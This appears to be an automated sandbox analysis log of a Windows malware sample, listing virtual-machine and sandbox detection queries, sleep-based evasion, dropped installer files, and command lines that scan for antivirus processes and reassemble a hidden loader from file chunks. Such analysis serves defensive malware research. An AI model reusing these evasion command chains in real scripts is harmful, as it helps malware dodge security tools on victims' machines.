Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3595			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3269			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-O7LIQ.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-QU1EC.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-QU1EC.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-O7LIQ.tmp\_isetup\_isdecmp.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com TID: 6656	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6660	Thread sleep count: 3595 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6704	Thread sleep count: 3269 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6320	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6612	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\appFile.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,		0_2_00406301
Source: C:\Users\user\Desktop\appFile.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		0_2_00406CC7

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\723356\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\723356	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000002.2379737174.00000000012AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\{
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000002.2379737174.00000000012AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}^
Source: powershell.exe, 00000010.00000002.2153441742.0000000007494000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: appFile.exe	Binary or memory string: Hyper-V Administrators

Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\appFile.exe

Code function: 0_2_00406328 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406328

Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe

Code function: 49_2_00BE58BB mov eax, dword ptr fs:[00000030h]

49_2_00BE58BB

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\appFile.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Shore Shore.cmd & Shore.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 723356	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Guitar	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Principle" Portions	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Requirements + ..\Ul + ..\Pupils + ..\Vista + ..\Sound + ..\Shelf F	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\723356\Ted.com Ted.com F	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process created: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe "C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe" /VERYSILENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Process created: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe "C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

